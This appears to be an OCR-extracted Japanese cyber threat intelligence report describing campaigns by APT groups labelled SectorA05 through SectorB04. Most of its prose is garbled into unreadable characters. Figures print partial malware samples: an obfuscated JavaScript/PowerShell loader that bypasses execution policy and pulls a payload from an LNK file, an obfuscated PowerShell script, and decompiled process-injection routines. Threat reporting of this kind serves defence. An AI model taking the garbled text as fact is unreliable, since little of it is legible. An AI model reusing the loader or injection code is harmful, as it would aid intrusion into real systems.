AOVUT b UTET L. ZIP EfED 7 1 )LICEFENS JavaScript 3 KU PowerShel
| - RZEUE— M —/\—SEBMTHYI>O0—-RUET ., CDiBFET. Dropbox 2 Goo
gle
Drive DL SR TT RR—ADIERT Sy bTA—ARIX> R&IO> ~O-JL (C2) F
vRILEUVTEREN, /\—RO—5+r >J &Nz OAuth EgIEHRZBL TCINSDTS
v hIA—LAEEBFAL. OJZFRESEHLUVWINS RERELET. COHEEFRY
D —OREZEE T DD(THRATY ., TDRDEFET(E. JavaScript R1O— RaxE
ITIBDODRATZ 1 —ILSNIZH R DR U Tt 2R U, 18010 PowerShell
N> RZBUTR— b 8855 BKU 6699 THED IP 77 RL X & TCP #ivzitdr. IN>
RZEZELUTEITUEI. D Malware DDHER. EHRE#FHEROE S S OERIER
BERZEATHED. VE— MIHERBEESECENTLD S EMNMHIBALE L.

® SectorA05 used a new Domains
https://cti.nshc.net/events/view/12995
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® SectorA05 used a new Domains
https://cti.nshc.net/events/view/13275

® SectorA05 used Watering Hole Attack with Malicious HWP Files
https://cti.nshc.net/events/view/13191
ERNOBZARENFEUIHR—FT—OBETOI S LDIE I 7 IVEBRA LD A —4
U OR—ILENRRENFE LIz, DA—FUIR—ILFEE, I —HBEEE(CHN
21T TJYA bC Malware Z{HiAd. EOYA hZFNICHBEZBRASEDIAA T,
SEINWRET(E. TO05 LAOSEHERMICISEXE(CHBEUZEM HWP (Hangul Word
Processor) FeRD I 7 ()L 7y I O—-RenFxE iz, IV -HeoXEaES5 >0~
RUTEITIDE. WBBCEEN/Z document.bat I 7 1 JLAEITEN. 11— - X5
LDUWTEMP% I A WA ICEHD T 7 ILEEMRLELUZ. 2D bat T7A)LIFADOXEZ
BUTCI—Y—-ZM<—AT, TJ7AIIBEEBEL, FRORATZ1—S%FAU TRRED
Pl ZERUE Uz, YRDORTZ1—S(CF 15 BER TERITSND 2 DOIEENERH
SNTHH, cnEBELTIV> RAI> bO—-JL (C2) B—/\—-&BEL. BIT—4
w2 O—RIDRIWETSNTVE LIz, PITRIC—BPDBENERT =N, S/ MR
(FEETURA RBE (IS AT ABIROUINEFTZ(FEN Malware DECfEER U &3
WreEnFzEd, HXZITIT XTI 7ILZ2O—- RIDARTRELSNZIORTOA ML
MR SNTH D, CNIEBIADIFEDBRI)L—T EEHEL TUL\SAEIREE &R L T\
ESEIN

® SectorA05 used LNK Malware disguised as Hangul Document
https.//cti.nshc.net/events/view/13277
BEFREUEYA /N -BROFEHTE. [2025-03-

05 YHENEEHNEL| == .pdf.Ink] EWVWDAFIDEEEXE (C/AR L IEIHER Malware
MERENFELZ. D Malware (JFFEDEEDAERS KUBIEEZHWRICHIEINTD
D, AES BS{EAR EBFESNIEF—BICHEMERT ML (IV) ZFERALTRrO-R
ZRBUTVWEY., BS{Lan/z_R10O— R(&PowerShell ¥ > R&@EU TES{LEIN. ©
DFERLER 1Tz PowerShell 22U kM Thome.psl] EWDEETT TEMP JA4 LA (C
RiFENEE. BRUE— RTEITESNTREZERELE Y, F/z. Malware (MBEEN
PDF J7 AILEBEUTZ RAAH5FD>0—-RU. - —DNARUICEBHETL
F9, FRMEEH#EEF I B2 [MicrosoftEdgeUpdateTaskCleaner] &UL\VSEREIDS X
DRo21—Z—-IHEZEKL. &KX 900 HE 30 2R T VBS ROUT haEITIdDL
S(TERELET . CNIFIERERR Windows TOTR(CHEUEAET. RERDIEZQ R
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RREZHHT T DR DICHETSNTVET . CO—EDITRIESRATLANDRET IAEX
UHIEZAIRE(C U BIDEBE D DITAIBIREGTEIC DN DEIREMEN B DE T,

® SectorA05 used Phishing email disguised as a National Security Office Notice
https://cti.nshc.net/events/view/13300
i, EBAEDMEEHTFEIND T4 VI IA—))LRERNRRENE Uz, SEDRE
ARZBLUVREREBFREZANRITITON. A—ILFEARZEREZEZE D> CGXMESNEFL
2o A—ILOHAEFE FRLVEHINEEELZ] T, XEEQFEREZEREE ERRSNT
WEUEA EBEDOA—IL7 RLX(E Gmail 710> hZFERALTVELUZ. X—ILAX
(C(F M2 L(C17< (Go to
confirmation) 1 /RFHEFNTHD. NZIVUYIIDREI—TF—DA-ILT7HD>
bD/IRXD—RULY hZEFEITIR—JCEFRSNE UL, COTrvI2I0FEE 1
—H—-DOJ1 > ERBEREZEDCEZENELTED. BEOILHFLEET DI T v
SOWEEFFE(CMFOTY, HCSEDRECERENZT v 208 —/)\-F7 KL
A (2kool4u[.]net) (F. BECILEAFFOY )\ —EENERASNTTERENSD D ILEREFD
HETHDIaREMZESS(CEMITVET. REDOBNIE, ERTEREEHRED AIH S
ZIFRENELTZD ., BELGEATLANDARET ICAEZHR UL D EITDIEDERESN
FI. COLDRBEZHSITZHIC, BHREEFIA—ILZEROXEET L AZMEN(C
HRL. BEOLWI 2 ODD )y DORPFRFMT T 7 A ILDOFRITZRITDINE T, T,
BB\ —tF2 U HBEZRIEL. BFotFa1 U5« /\wFZBERL. FRID
ThEEZE L CHMEEZ&/I\ RICIIR DIHNENSDDET.

® SectorA05 used a new Domains
https://cti.nshc.net/events/view/13431

® SectorA05 used DocSwap Malware disguised as document viewer app
https.//cti.nshc.net/events/view/13360
2025%F 1 A 21 B, XBHERET U (CHRESNIFFLLWILD T 7HERSN. BEXR

NERICVDITAE LEENGDIRRMMEZ SNELZ, ZEH77TUE [XEMERET
U] EWDERIC. 2024 F 12 A 13 BICHIHTER SN, BEFEOXFIZHERALU TR
EROE/N\AMIILI-—YT—-2FR5—5v hELTVET., COVILD I 7 XOREEZE
UTAPK J7AIL&ES L. BMIC DEX J7)LZO— RUEE. ORI MO—
)L (C2) B—=/)\—D@mBZZEL. F—0OF 2T, IASTHIUA—FT 1 AIRS

1 ILVBEVR EDBBDS DITRZITVNET, FCF—OF > TMEERT7oE2EUFT U —
EXZ@EC TCEITSN. 1T —(CEAETDIERZERIT S L THERZEUS UEI . FH
SNEC2A>T3(F BNEOACRADYIRRE ST VS 2 IR—E U TEESN
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. TR WEDT NI MRS EBEDT « v IR LBHET DIRINIRN. BEAl
DIAN—ATREEDEEZRE L TNET, LTI @S5/ \A REE$F T —EXET
ZiE U TR R L. 7702 BV T 1 ERMEF DI ICAT Y — ) (—BAHEE = TS A
LEFET. BIER\—RIO—F 1 >J2NZ IP 7 RLRER— MERZEL TITHONE T,

® SectorA05 used PowerShell Malware disguised as Kakao URL
https://cti.nshc.net/events/view/13493
Bz EZO BN E U TER SN EBONSBTILI T 77D PowerShell ROUT ~ |

1.psl] WMERENFE UL, CORXTUT ME S XFLADIP 7 RLR, 77>FI4)L

XEHR. ETHPOTOLR, T4 RUEHR. 1—H—=THIO> b ARL—F 42T IF
LBRRE,. SEIFRT—IZPNELUFT . INESNIEHRIE. processlist.txt ELNVDS—
D7 AILICRFEENE T, TDR. DT 7 1)UFH A X ZzfE UKk & T DTz (C.

Base64 TI> 11— R&nN/z ZIP J71)L (processlist.zip) &UTEMESNET, EHaS
NI r7A)blE HTTP

POST U TR b7zidE U CHEBDFHIEHT — ) (—(OXESH. X{EFD URL (FEEFXID A v

TI2r TSy hIA—AICEAETD RAADICHESNTVET. T—FXENTTT
D& ROVUT MMIEEOEMZRET IZHICESHIBRZITVEYT . COKDIRMTA. 2D
ROUT SNERGEEIL T T (Infostealer) M&EIZRIELTHD. &Y\

— B OERITR THDIREZRELTVET,

® SectorA05 used Script Malware variants
https.//cti.nshc.net/events/view/13509

® SectorA05 used a new Domains
https.//cti.nshc.net/events/view/13640

® SectorA05 used a new Domains
https.//cti.nshc.net/events/view/13569

4) ©OH—A06DI—T

BT OZIBEEZITTVND/I\YF>2IT)L—TDHR T, SectorA06 JIL—TF(FotzF1 U5
«BE(CKX>TITIL—/O7T (Bluenoroff) &LTEHSNTED., JILF>THESD/\vF>T5E
BARRENFELL.

ZHT)L—T(F macOS RIBZMRE USTARIH R YA I\ —HEF v -7 FTLEU.
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YC. BFS@E (cryptocurrency) EEDRSBEZETERST—Tv hEL., KFEZXWRE UIA

DOEATOCRZECTIIVI I T DA VA M—)LEFE T IHRTFNFEEERALE L. 2D

BIRCTHEE (. SEMNRFEREY —ILEERR T DM DS IHEROBEMLY T O 725 D> 00—
RIDLDCHFE=NF UL, FHASNZNILD T 7(E. Rust EFEBECTHFE NI/ \w I RIZERT. R

ustDoor E&fHFSNZEEEH(C, MacOS ERRT« —5— (Stealer) WL DT 7 D#T UL \EEE

NEFNTNET,

#%5 (& Mach-

OFEITIF7AIVERICNILI T 7 ZFITLU. YEIMREZEE T D dDIRLIGESENBRASNE UL
BAMICE. macOS ORBEPIZIR—FR> hEIEIEU TS AT LADTEF 1 U BAIZEAE L.

AppIeScript7&5§FHL/'C:L—*J°—(Lﬁﬂz TANERURBVWKS(CUEUE,

Flz. ZEITBDVIII TP EFEITRICS AT LADOSEBEZHR L. JRIZEZRAERERK (CIS,

Commonwealth of Independent

States) HXVIHYVEER(CEET DEEZREDHE. IMFZEFELITDLICHISNTVET, &

N(F. EESNZHUEAN TOREZ /I RICINZ. DHZEET D &Z2 B & UziitEgX—XD[E

BRI ST SNF T

[FUSEREMRESNEES, RTEPL]
TRIIA ST (AZ)
TILAZT (AM)
RS)L—= (BY)

HY IR > (KZ)
FILFZX (KG)
EJLRJTU(MD)

077 (RU)
HFSFERF> (TI)
NLIAZRE> (TM)
DZARFRL> (UZ)
20547 (UA)

1954 /¢ Token: 0x0B00050C RID: 1282 RVA: Ox000126C1 File Offset: 0x000108C1
1955 [__Dynamical Iy Invokable]
1958 public bool Contains(string value)

{

> 1358 return this. Index0f (value, StringComparison.Ordinal} »= 0;
1958 }

1961 /¢ Token: 0x06000500 RID: 1283 RVA: Ox00012601 File OFfset: Ox00010801
1962 [--Dynamical |y invokable]

1963 public bool EndsWith{string value)

1964 {

1965 return this.EndsWith{value, StrinaComparison.CurrentCulture);

Name Value Type
@ this "az,am, by kz,kg,md,ru tj,tm,uz,ua" string
@ value "ko" string

[ 14: LD T TR TEM - AT LAEFE (CIS BLUIRVIEEE) ]
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CNICHNR T, S XFARICOST7ET MHEHS txt] WD ITF7AILENEFEET DHEE. <L
TVNMENR(CHETIBLDICHRETSNTUVEYT, CNICKD, ZEIBIREE IO VEZERHITSD
EZRECIREGRISRI LI D ETIERZIFT > TLD EHIESNED,

[ZY T 7AINEDT« LD NUICHFET DimE. RiT2PH]

® napoan.txt

1954 /f Token: Ox0B00050C RIO: 1292 RYA: Ox00012BC1 File OFfset: 0=000108C1
1855 [__Dynamicallyinvakable]
1956 public bool Contains(string value)

{

> 1358 return this. Index0f{value, StringComparison.Ordinal) »= 0:
1953 ¥

1961 /f Token! 0x06000500 RIO: 1292 RYA: Ox00012601 File OFfset: 0:00010%01
1882 [__Dynamicallyinvokable]
1963 public bool EndsWith(string value)

{

1965 return this.EndsWith{value, StringComparison, CurrentCulture):
1966 ]
aR?

Locals

MName Value Type
@ this "az,am,by kz kg,md,ru tj,tm,uz,ua" string
@ value "ko" string

[ 15: ¥ILDOTT7RRTEM - D7 ()& (O 7:EER) ]

% (persistence) ZHR T DIODILEECLSAEMICHEBRINTHE D, WEENS X T LBILE
BET7OCREZHITF CET DR D(CHET SN TVET, BEUR(EI7HT> b/ AR D — RIESE
B4 Ly MERREOHEIBIRICIBESNTE D, KT, BRSNS Y EESLESNTBEF
v RIVEB U THEIDIOR> R &> hO—)L (C2) H—/N—([CXESND IS IR SN TULE
ER

Related Events
® SectorA06 used Stealer Malware disguised as Software Update

https.//cti.nshc.net/events/view/12970
macOS S RAF LZEMRE LT A/N\—BRF 2 R—2ARR N, HFICRINSLUES
BEEERZFEYT—TY RELTVET., COFvIR-—2(E HETFNFEZHRALUT
WEEMRBEISEVPERZCARL. KROY J MDD T 7HAEEICHEBIET Malwar
e ZIERRHEREY—ILEUTHRRLUTY D> O—- RESEIHETITONE Uiz, RSN
Malware [C(&. Rust X—X®D/\w T K77 T32 RustDoor EFifz(CFRRE Sz macOS /\
—< 3> M Koi Stealer "EFENTNEFT . WEE (L Mach-
O /\A U@L T Malware ZF{TU. #HIRHODERZ A, FHnEEBRLLDS LU
FUz. Fzo mac0S I2R—3> hEEEL. /(IR D— ROBESEEIA L v MERZ
BT AZERESEILOHICHRLARY —ILZFRALELZ. COFvR—2F BS1E
SNEFvRIVZBUIEONY> RO bO—JL (C2) « UI—=XS1)LDEFT. AppleS
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cript ZMA U RT LBHDZ 1 — MIEBEIRFEZH O TH D, £HRNIRIREDI
NUIERDICFREER T A ) AR C R UTeREZ R U CVWER T . XFFIEEE. 5 —5

b — AL OEREGEEES. K (CHESEBEDA LY MERICERUZREAR(IEEICHE

IHIXBHIRE DA ZBIR L. BB DHFOFER. macOS A Koi

Stealer (& Windows /\—>3 > LRI U — 9 BMFIRS KOBEEBEZHELTLD
CEMASMNTRDFELUZ. CNIEFERZIEL NILDOBRATRANBURRT —5 Z 20 (CHEEE
HNCITOhN TS EZREL TLWET,

5) ©OH5—A070)\L—27

BT OZIEZ T TVNDI\WF>I0T)L—T DT, SectorA07 JI)L—F (3o ttF+a1 U5
A PECK>TIZ (Konni) ELTHENBNTHED., BETHESD)\vF 2 0EBINEREENI,
ZEI)I—T(E. A/ LTEERS AT ACEELETILD T 7D Windows =3 — w b~ (L

NK) Z7-J)L (ECRM.M.hwp.

Ink) ZFBALUTHEZEITL. J71ILLX (fileless) FEx=EBEL

T JavaScript KU PowerShell ¥ > REFAU TGEBMDNILD T 77RAO— RESFDI>O—-R
BRUOEITUET ., COBIETEMEHTME (obfuscation) HffihE@AINTHD. UE—HFIY

> r&O> hO-JL (C2) B—

B SNTLET,

IN=PBERILDTTFRAO—RZESFD>O-RUTEITIDHART

javascript:
p="5w ([byte[]

"ell —tp bypas
eval (s);

k="c:\\pro"+"gramdata\\";

b=" -Encoding Byte;sc ";

s="a—new ACTHTEiv reXObject ("WSc"+

"ript.Shell');a.Run(c,0,true) ;close();"

c="powe"+"rshell -ep bypass —-c $t=0xlcdc;S5k = Get-ChildItem
*.1nk | where-object {$ .length -eq $t} | Select-Object
—Expand?roperty Name;if ($k.count -eq 0) {$k=Get-ChildItem

Senv T"+"EHE\\*\\* 1"+"nk | where-object{$ .length -eq

St}:ls '"+k+"”.g 51 ‘f gc Sk"+b+p+b+k+ d3914 0;po"+"wersh"+

] (S "+"| select -Skip 0x0Obeb)) -Force";

C . .
-f Swi";

[ 16: Windows >3 — bhw bYILD T 77 (CKDTEITESNS JavaScript AN RS512]
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$nse = 'anc+388745987"';

$st69 = @();
Syek0 = "gik0lUL1Z3btVmUlno"[14..3];
Y e
Sgsul = "eh9mcwxFXEM2JIgOWikpuy"[16..2];
$elr2 = "ikmFGZtFmcnnogs"[10..31;
=
Suyb3 = "mgnEzcwSydcxVYOwcio"[14..2];
Swefd = "kmn==wOoqu"[6..32];
3

Swacg5 = $yek0 + Sgsul + S$elr2 + Suyb3 + Swefd;

$st69 += $wacg5s - join '';

$flt6 =

"egCIoRXYQICI1ZXaoNmcBlCZuFGc4V009dEdTRCI 1 xWaGRXdP1CI9VEYkKtH

JgkyJxl CLn8mdul 0JscCdzVWdxdCLnUmUiV2JIgYWLi0XM71HM713M71n

M7JCKusjIwlmeuM3ZcxVYOFGZt Fmen9mewx FX6MmIgODInRHI71nc0tjIx0D

4gj¥Y=RZMel1Ddz= v1zMoZnY¥4d2Y4pGdylDboZWexZme ) Vme 9kXZrxm
)X¥k58bTI9Ce0UDOWVDA3ANZWEXZk1mMOcjcwV2LpZ2LsN2cv02b]j5C

rICcvJHZuc3d39yLeMHcisiI0RHaiASPgUHZEKACIgACIKOweg0DIxUGJhik

"[255..21;

Smno7 =

"wacjNXY2FmabcyKnU2LvAiYv8CI1hXZuQHepdyEnI3¥YzdHXcdzMnsyJtVGd

z13ccxlc3dSPxMWarRyOnRCIJ9CIk12Y7ciZvAiIwlGduUDN1YjMcxVYOFGR

[ 17: Windows =3 — bAw MILIT T (KD TEITENS PowerShell ROV T K]

B (persistence) (&, X2 a1—I)LSNEAR IV LA NUDEEREL THEFaNn, UE
— MM REZIF DRIV T 7 =B U CTEINDESZITADIZHDERZEZ FT,

Secai0T used LNK
]
.........
@
B
atribute: (3545e50C21T2T9R5e009306eb bS50 M0 Le 14T Z5bE0=0CSS0OTHONTS

[ 18: BEDEE) EABRBIRMRZHFD SectorA07 J)L— T DiEEH]

Related Events

® SectorA07 used LNK Malware disguised as a DOCX file
https://cti.nshc.net/events/view/13355
BRL7 05— (&, LEAEEEDEIA DI —T LEHET DY)V T V=AM Y D/zsH(C LN

KI7AI)IZERLUTWET, 2D LNK J7-7)LIEREBICIEA =N/ PowerShell X2V
T hEFEITL. BNICKDTASYNCRAT WL T 7HA > A M—=)LanNxd., WILIT T
DELMARET(E. Dropbox ¥ Google

Drive EWWD TZIERDO S R —EXZER U CENMDEER/O— REXELET, it
ERDIN=23> EEFERD, WEFHINTULD AsyncRAT OFFfE(d, O RO
O—JL (C&C) H—/\—ERE/\— RO—F 2T, ETECENCRET DHEZE
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AI3Z&T. FEECREREREDZBEULFE U, EA>TS(CE RIDF 7 >R
— > TERESNTUWVEI S IR LV CRC B —/\—EEFENTUVET ., LNK T71ILDAS
F—AnHEEL T, BIMOXILIT 7Y TIVREEAZRNRE U T w2 XA—=)L
WE L ET D CRCIEHRMFESN. NUFILEREEEED BRI 5 —DES5DulfEt %

ESICEMITVET, BIRINEIILIT 77U TILERICHDIE> T—EUIZEM (Tact
ics) . 4l (Techniques) . FllE (Procedures;

TTPs) MHER SN, CNSN—DDHMAESNIEBRF v > R—VICBITDZLZRERULT

A S

® SectorA07 used LNK Malware disguised as ECRM Report
https://cti.nshc.net/events/view/13413
ECRM.M.hwp.Ink & U TBI N7z Malware (&, Z2EEDY 1/ (—ILFREHRS AT AIC

BESNTHESINTHSD. Windows ® mshta.exe ZFIFE UIZ T 71 )L L X (fileless)IX
EFEMEAINTVEYT, CDI— R JavaScript & PowerShell R—XDEBEDH D
ROVT b ZFRITIIBEZF O CVET . WEBEFIFED.Ink T7 IV EERL. ZEHT
7AIVREDT « LD BUICFELRWNMES, TEMP 5« LU NURNTERZRZRAFET .
RFEENTZ LNK T 7 1)LIE PowerShell U T MCEHESNTERITSN, INZEBELUT
EBIDEBERDHDIRAO— RO EEMENET ., WEDIBIE TI(IEHMIRE ST (obfuscation)
i EAESN TS D, UE— I REIEIC2) S —/\—1S5BRBDH D10~ Rz
AI>O0—-RUTEITIDARNTHERINTWVET . #Fhc(persistence)ld. Xo>1—
JbE=niz5 X (scheduled

task)Y°L =X kU (registry) OIEIE =@ U CTHEF =N, UE— M —)\—(J)\Ww O RT7=EZ
U TBNMORETADICODERZEZFT, CORBRFBE(CERSNIHF LS LU
ROVTF o4 DOEMiEERLTED. CNEEF1 VT REZER L. BEDH DA
O— RERINE(CEES KFUEITI DRV LNILOFEAMNERIRLU TNET,

® SectorA07 used Malware variants
https.//cti.nshc.net/events/view/13432

2. SectorBDZIBEZITTVNSB/\YF>II I —TDiEE

1) £949—-B01OW—T
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FEBRDOSZBEZTTND/\YF 2T TIL—TD—DTHD SectorBO1 (&, fdt+1UF+ 1
E(CLD>TWinnti ELTHIBNTED., DU0F10F. BOZFSET. &5, /\>AU—. ML
AL TAUB TSORTESDN\YFOFEBHNRRESNE U,

ZEJI—T(F tERPOBFTHES. JERAFER (NGO) . BEEUR, tFEEDS > 05> 0
IR EZERICKEFEB ZITLE L.

ZET I —TFREHWRS AT AICBATIEHIC. BEEINIZERILD T 7 THD ShadowPad.
SodaMaster. Spyder/xEZ=FERALFELIE,

54| BVard = CreateProcessh([LECSIR)0x0,paran_l, (LPSECURITY ATTRIBUTES)(Ox0, (LESECURITY ATTRIBUTES) 0x0,0

55 , 4, {LPVOID) 0x0, (LECSIR) 0x0, (LPSTARTUPINFOA) local _98,slocal bE);

58| hProcess = hObject;

57| if (BVar2 !=0) |

58 hP 33 = OpenProcess (01fffff, 1, local_b3.dwProcessId):

59 1pBaselkddress =

&0 (LETHREAD STRRT_ROUTINE)VirtualAllocEx (hFrocs

6l if (((lpBaselddress !'= (LFTHREAD 3TART_ROUTINE) !

62 (BWarZ = WriteProcessMemory (hFrocess, lpBasshddress, lpBuffer, (ulonglong)uVarl, (SIZE T *)0x0),
63 = (HANDLE)0x0, BVar2 '= 0)) &s

a4 {h0kject = (HRNDLE)FUM_130001a20 (hFrocess, lpBasehddress), hlbject != (HANDLE)OxO0)) {
&5 CleoseHandle (local _bE.hThread):

(15 CleoseHandle (local _bE.hThread):

67 }

63 1

69| 1if (hObject != (HANDLE)0x0) {

70 CloseHandle (hObject);

7| [l

[ 19: V-4 X% —(SodaMaster) X)L I T 7]

Fle. ZEII—TFBREMNRE AT LARND RAA D EREERZERL. Ry MD—DJDBERE(C
RALFEUEL. ZUT. 72w b (Impacket) W—)LFy NEIER U TEABEOZE) SEND

A>T S RREBITVE LU, TNICKD. BIRIRIBEIRDTE & RENQIBIRINGE Z A TR
Sy A Oy

[0 README & License [ Security Z

Impacket

Copyright Fortra, LLC and its affiliated companies. All rights reserved.
Impacket was originally created by SecureAuth, and now maintained by Fortra's Core Security.

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-
level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol
implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object-
oriented APl makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as
examples of what can be done within the context of this library.

[ 20: 1> /4w M(Impacket) W—)LFw K]

Related Events

® SectorB01 used ELF malware variants
https://cti.nshc.net/events/view/13153

NSHC©2025 All rights reserved.


https://cti.nshc.net/events/view/13153

Cyber Threat Intelligence Report

® SectorB01 used ELF malware variants
https://cti.nshc.net/events/view/13154

® SectorB01 used ShadowPad for Data Theft in Manufacturing Sector
https://cti.nshc.net/events/view/13365
2024 7 ANM5S 11 ADMEIC, ShadowPad EWDHEIFIRANILD T 7 Z 0T 1)\ —INE

MRS, E(CT—0Ov /) DOREEE CERIEFIZENICLE L. RBEIRIIIC. £
EcNizd—T—-&RREHRZFALTUE— b7/ X%Zi8B L T Check Point

VPN ([COJ > UE Uz, ©D#. Check Point Security

Gateway DEHRIFRAEEE (CVE-2024-

24919 LH#EFE) ZBALTY—EXT7HD> hOERRBEHRZESUE Uz, COEIRER
(&, RDP BKU SMB Zi& Uit A mniZE e E5(C L. ShadowPad ZWES X5 LD [
C:¥PerflLogs¥| >« L hJICEE LFE U, ShadowPad (& HTTPS KU DNS k>
U2 DB TC2QA> IS EBIELER LU, TDE., H23I—0Ov/\ORIEFEEL. SM
BEH KLU WMI @@ U TR OB ZH# SRAICERULE UL, COWREF. HRRE(CH
Br—7NELIZE. Q2> IS EUTERSND —EDRESNIZDO T I YA MMIHR
HUFLEZ. INSOEEE. EFRZIEERH. FFCILEREF (CRRhE T Dk CREE LTz) (5 —
S EFBILTWET ., BEANREHLSRE LU TLRICENMMNDST . CNSORAFEZRA
XET DRI AEBZRELTVET,

® SectorB01 used ShadowPad and SodaMaster in Operation FishMedley

https.//cti.nshc.net/events/view/13602

JawSaXRL—{F#, (Operation

FishMedley) & U TSN YA/ \—RRIFE(G. HRPDOSTFTRDFEFENEL, 2
022 F£H'5 2023 FICHNFTEREN R NFE LIz, COEE(E. 7277, 3—0Ov)( 7
AYUDNEEOBIFHE. NGO, S>> 05> D(Ce8a5AF Uz, REBESE(CHEEH
EI DB’ —(CEELZS v R/ R (ShadowPad) . Y—4 Y X5 — (SodaM
aster) . X\ — (Spyder) EWoleA >TSS hEEBERUE U, YHIDT7 Ot 4%
(FBAETEDDFRATURZN, RBEQUEUIERXA > EBEERZEIGL. 1>/
v b (Impacket) 72EDY —)L&BU THEABOBRB ZIREL. O—HDIL AT LD
SMEBALFLUL. FBLOEMNFEELLTE DLLY RO—F+ >JZBlCO—R
Nz v ROy ROER. B2ESR1O— RzZB LR/ (5F—-Ditfh. TLTY—
HRRAI—DED 1 - EER UIZUE— N7 OBRBLUT IR ENH D F
9. WBEEGFLZ. Ry MD—TDHEW/) (XD — RIREDZH ([CSHEFRY —)LZ2ER
L. BiERZO—DILICEREFET D/ RDT—RI 1LY —2ERLELI. BEREEPER

NSHC©2025 All rights reserved.


https://cti.nshc.net/events/view/13154
https://cti.nshc.net/events/view/13365
https://cti.nshc.net/events/view/13602

Cyber Threat Intelligence Report

B ERET DEUAICHRERL TEEI L. FftEaidT U, MRz RELE 9 D72 DIENRESE
ZERUE U,

2) €945—-B02ONWV—T

FEBFOZEZEZITTVND/\YF2I0)L—TD—DTHD SectorB02 (F. fldtzF1UF 1
FE(CX>TO—~RXTOvY LA (Lotus

Blossom) EULTHISNTHD. YXHA &E JT4UE> . REFA BETHESD/\vFT5E
BhRREanxEL.

ZETI—T(F. BATHER. BE. RIS XF o VREVSTMBOFEEEDEFEZMRC, RN
W OWMEBE (CIBERINEF v > _X—>ZEU Iz ENASHCIRD Tz,

FEREFEE U TIE, Sagerunex EWDHRA LI\ RPZERIDTILI T PHIMERESNTEHD
 SNEAIRLKEE 2016 FNDEHZ L. SFSFRBERE(CEL L TEF U, 2D/ \w T RI7(FIR
EWNRIATLADLZARNICA VA R=ILEaN, B—EXDETEITENE T, WEEFINZE
CTREIBICHIEDIEMRORY hD—T(CEBFED. BERINEDPS T AFIHZ#RE I DN T
TFU.

149 local_314 = OxbeccascT;
150 3

151
152
152
154
155
156
157
158
159
1&0
161
162
163
164
165
166
167
le8
169
170
171
172
173
174
175
176 {LPTHREAD START ROUTINE)GetProchddress({DAT_ 120042330, (LPCSTR)elocal 322) 7

177 hHandle = CreateRemoteThread(local 2£E, (LPSECURITY ATTRIBUTES)0x0,0,lpStartiddress,
178 {LEVOID) 0x0, 0, {LEDWORD) 0x0) ;

179 WaitForSingleCbject {hHandle, OxfEEf5fEEF) ;

[E] 21: Sagerunex /\w R ¥ILI T 7]

"Hernsl32"):
, (LECSTR) elocal_318);

0,pFVare, lpBassiddress, 0,0);

OO~ (F EHENROTCR - 7R - 0> bO—JL (C2) BEAREBX T, BRHEELED
J=&(C Dropbox. Twitter. Zimbra DKSREENRISTIO RISV N IA—-LZBALEU.
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CNEBFOTEFIUT VYU 3 2 (CLDMREZERE#(CL. WEBOWEM CFFRalsedtzE60
FUI,

EWREELC T UE> . RhF A, BB, BEREDTZT7HEEOHERETSH D, RFCHIE
FHERE(CEET DIFHRZIHOD TOWBDLDICRAFT,

BB (FBAFE(C(ZZRSHTULVRWAY, FREIEHTORESHFE S BIRINED B (CEEE(CBHEL T
WD EDHENTLD,

Related Events
® SectorB02 used Sagerunex Malware using Third-party Cloud Services as C2

https://cti.nshc.net/events/view/13001
RIEDDHHER(CKD &L Sagerunex EVLVDHEIFIR/ (W T K7 Malware h'&FNTEED
FrR-HERENFELZ. D Malware (FHRA RS AT LAZEN (SHEEIL CTEEL
oo CNSDREFI/\M1TAZBENE LTS EHETESNET ., Sagerunex /\w o R77
(F. POTAR=23 RIS AT LB ZERLU. 90T ANZXADIESHIC [Wai
tForSingleObject] APl Z{FRA 3 2BERETEIEZRUEI. VT I T0OF BEHRHD
KWN\=RIO-F v >Nz O+ FH Ml SVERDOTOF 8/ ZE L T C2 -/
—([CEHELET. R—=F'/)\—3 > (@, @beneT/\wIXFINEFENTED., /K
AT ERM(CINE, BSEL THIEHY —/\—([CEXELFE T, HRLEEN C2 8
{EDT=&(C Dropbox. Twitter. Zimbra d API ZSEHRLZFE I, Dropbox & KU Twitter M
BEE, U —EXT7OCRELUVT—FIE(C b—T>ZEAL. Zimbra DBEEED T
A=) E8IEHRZEALUTHEBAL, ROX—)LZBUTIONY REERITULET, 2L
H 2018 N5 2022 FFRTEBL TS INOSDERF. RT MG T DRGNS\
N TEIL T DBROIMEZRLTNET,

3) U459 —B04OIN—T

PEBMOXEZRITTNS/\YF2TT)IL—TD—DTHD SectorB04 (&, fdtzF1 U1
E(CKD>TRAM=2/(>4 (Stone Panda) &LTHISNTWLET,

ZHT)—TF. BAROKRKRCTHEFEDHEFBES (Expo

2025) &5 —XICUTRRET JA4 w2 I RA=)LF v > R—=2Z2BU T, BEI—0Ov /) DI
BaxiRke Uiz )\ RS E R LE LI,

2% 0)L—(F [Expo 2025

BEHR] (CAREINIZEY Word XBZ R UTEA—ILZBEMRIGXEL. XBEZERITIDELE
FED Malware EfTF T —HEEIL EF Uz, #IEBESPE T ORI X ENTZ AsyncRAT DFBfEAN
1> A B=)LEt. 2D Malware (& Windows
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Sandbox IRIEBEANTOHEITINDLD(CESTSNTHD., tFaUFToVIa1—> 3> oiti%xmE
BWIBENTEFHURL,

[ README &2 MIT license 7z

I AsyncRAT049C  5:52:27 PM =5
Chents Logs Thumbnal | Tasks

s CONIRY MWD s oos o LSRR (OFERATING SYSTEN o VBRSO DELTORMANGE o LERIVILEOR e

1270016606 Localtost A89281310086208 NC  Windows 7 Home Premium 64bt AsyncRAT 049C CPU3% RAM28%  User i

ABOUT |
&> Send File

Moni

d 2938 CPU2%  RAM 28%

AsyncRAT

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure
encrypted connection

[¥ 22: AsyncRAT YLD T 7]

ZDEICHA A M—)LENZEE/L Malware (Z ANEL/\wW O RFZTH D, INEFHAU THESTSR
S RAFLANTERNISBRURAS, OX> ROET. J77ILOTE. BIINRAO— RO X ~
—IJLIRE, SESFRREEERITIDCENTEET,

Related Events

® SectorB04 used AsyncRAT and Visual Studio Code Remote Tunnels
https.//cti.nshc.net/events/view/13539
2024 £ 8 A. HRI—0Ov/\DINHEIZ IR & UTTHRERIR D 1) \— ) N8N, 5%
ERREMERNTETSINELE. [77HrU1D/F# (Operation
AkaiRyl) | E&fIFSNIECOFEIE. MRICAARZFEHWRE U TWEBRIZ IS —5&
